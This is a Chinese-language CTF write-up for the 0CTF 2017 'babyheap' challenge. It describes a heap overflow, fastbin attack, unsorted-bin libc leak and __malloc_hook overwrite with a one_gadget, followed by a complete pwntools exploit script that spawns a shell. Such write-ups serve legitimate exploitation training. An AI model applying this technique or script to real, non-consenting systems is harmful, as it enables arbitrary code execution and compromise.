babyheap_0ctf_2017 wp

本题64位保护全开,考察fastbin attack和unsorted bin leak、chunk extend等等,注意需要patchelf
主函数中menu可以大概概括此题所用到函数

1.allocate:
按idx顺序分配堆块,其中可以自己指定size,最大4096,并且分配时使用的时calloc()函数,分配后会给content赋0
2.fill:
自己指定size和content,此处可以造成堆溢出
3.free
释放指定idx的堆块的内容,指针置零,故不存在uaf
4.dump
打印出指定idx的堆块的content
故可以考虑泄露bin[0]后根据偏移计算出libc基址利用one_gadget求解此题;
堆上泄露使用的是unsorted bin leak,unsorted bin使用双向链表进行管理,使用fd和bk指针,说明见ctf-wiki


首先我们可以分配4个fast chunk(idx=0、1、2、3),1个small chunk(idx=4)
先free掉chunk 1和chunk 2
此时main_arena->chunk 2->chunk 1<-0x0
后通过堆溢出将chunk 2的fd指针覆盖为chunk 4的地址,以便后续dump出leak_addr
通过堆溢出将chunk 4的size修改符合fast bin的大小
接着通过两次alloc(0x10)将chunk 2和chunk 4重新分配回去,此时chunk 2和chunk 4指向内存中同一块区域
然后我们再次通过堆溢出将chunk 4的堆块大小改回去,改为small chunk大小
接着我们再申请一块small chunk,防止free(4)后chunk 4和top chunk合并
然后free(4)后chunk 4被划到unsorted bin中,fd和bk指向main_arena的一块偏移地址处(不是main_arena地址)
此时可以dump出这块偏移地址
可以算出该地址距离main_arena偏移为0x58

然后根据malloc_trim中main_arena的偏移算出libc的基址

获取libc基址后我们可以劫持__malloc_hook
原理是在调用malloc或者free的时候,如果 malloc_hook 和free_hook的值存在,则会调用malloc_hook或者free_hook指向的地址,假设在使用one_gadget的时候满足one_gadget的调用条件,当overwrite malloc_hook和free_hook的时候,便可以getshell,执行malloc的时候,其参数是size大小,所以overwrite malloc_hook的时候使用one_gadget的地址可以getshell。执行free的时候,可以将__free_hook的值overwrite为system的地址,通过释放(/bin/sh\x00)的chunk,可以达到system(/bin/sh)来getshell
所以我们需要一块malloc_hook附近的fake_chunk,使其进入fast bin,再将其申请出来,通过fill()可以将malloc_hook修改为one_gadget
最后从chunk 4(unsorted bin中)申请一块fast chunk出来,free掉进入fast bin,然后通过修改chunk 2可以修改chunk 4的fd到fake_chunk,最后分配fake_chunk,fill(6) 即chunk 6来getshell
exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux',terminal=['tmux','splitw','-h'])



io=process("./babyheap_0ctf_2017")
# io=remote("node4.buuoj.cn",26939)
elf=ELF("./babyheap_0ctf_2017")
libc=ELF("./libc-2.23.so")

one_gadget=[0x45216,0x4526a,0xf02a4,0xf1147]
main_arena_off=0x3C4B20
fake_chunk_off=0x3c4aed

def alloc(n):
    io.recvuntil(b"Command: ")
    io.sendline(b"1")
    io.recvuntil(b"Size: ")
    io.sendline(str(n))

def fill(n,s,m):
    io.recvuntil(b"Command: ")
    io.sendline(b"2")
    io.recvuntil(b"Index: ")
    io.sendline(str(n))
    io.recvuntil(b"Size: ")
    io.sendline(str(s))
    io.recvuntil(b"Content: ")
    io.send(m)

def free(n):
    io.recvuntil(b"Command: ")
    io.sendline(b"3")
    io.recvuntil(b"Index: ")
    io.sendline(str(n))

def dump(n):
    io.recvuntil(b"Command: ")
    io.sendline(b"4")
    io.recvuntil(b"Index: ")
    io.sendline(str(n))
    io.recvuntil(b"Content: \n")


alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x10)
alloc(0x80)

free(1)
free(2)

payload=b"a"*16+p64(0)+p64(0x21)+b"a"*16+p64(0)+p64(0x21)+p8(0x80)
fill(0,len(payload),payload)


payload=b"a"*16+p64(0)+p64(0x21)
fill(3,len(payload),payload)


alloc(0x10)  #allocate chunk2
alloc(0x10) #allocate chunk4

payload=b"a"*16+p64(0)+p64(0x91)
fill(3,len(payload),payload)

alloc(0x80)
free(4)

gdb.attach(io)
pause()

dump(2)
leak_addr=u64(io.recvuntil(b"\x7f").ljust(8,b"\x00"))
libc_addr=leak_addr-main_arena_off-0x58
fake_chunk=libc_addr+fake_chunk_off
malloc_hook=libc_addr+libc.sym[b"__malloc_hook"]
shell=one_gadget[1]+libc_addr
print("leak_addr:  "+hex(leak_addr))
print("libc_addr:  "+hex(libc_addr))
print("fake_chunk:  "+hex(fake_chunk))
print("malloc_hook:  "+hex(malloc_hook))
print("shell:  "+hex(shell))





alloc(0x60) #fast chunk
free(4) #into fast bin
payload=p64(fake_chunk)
fill(2,len(payload),payload)


alloc(0x60) #chunk 4
alloc(0x60) #chunk 6
payload=cyclic(0x13)+p64(shell)
fill(6,len(payload),payload)
alloc(0x100)

io.interactive()


# 0x45216 execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   rax == NULL

# 0x4526a execve("/bin/sh", rsp+0x30, environ)
# constraints:
#   [rsp+0x30] == NULL

# 0xf02a4 execve("/bin/sh", rsp+0x50, environ)
# constraints:
#   [rsp+0x50] == NULL

# 0xf1147 execve("/bin/sh", rsp+0x70, environ)
# constraints:
#   [rsp+0x70] == NULL